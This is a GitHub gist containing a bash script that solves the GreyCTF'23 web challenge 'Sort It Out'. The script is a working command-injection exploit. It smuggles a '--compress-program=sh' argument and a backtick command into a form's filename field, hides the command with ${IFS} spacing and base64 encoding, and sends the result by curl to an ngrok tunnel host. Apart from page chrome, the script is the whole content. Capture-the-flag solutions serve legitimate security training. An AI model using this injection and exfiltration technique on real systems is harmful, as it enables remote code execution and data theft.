Last active
May 21, 2023 14:12
-
-
Save lebr0nli/1d0f199d012591dd2d55ed8d72dd7dff to your computer and use it in GitHub Desktop.
Solution for GreyCTF'23 - Sort It Out (Web)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| WEBHOOK="0.tcp.jp.ngrok.io:11048" | |
| curl -i -s -k -X $'POST' \ | |
| -H $'Host: 34.124.157.94:10556' -H $'Content-Type: application/x-www-form-urlencoded' \ | |
| --data-binary $'filename=--compress-program=sh -z /proc/self/cmdline -o /tmp/lebr0nli`curl${IFS}-d${IFS}$($(echo${IFS}L3JlYWRmbGFnCg==|base64${IFS}-d))${IFS}'"$WEBHOOK"'`' \ | |
| $'http://34.124.157.94:10556/index.php' -o /dev/null |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment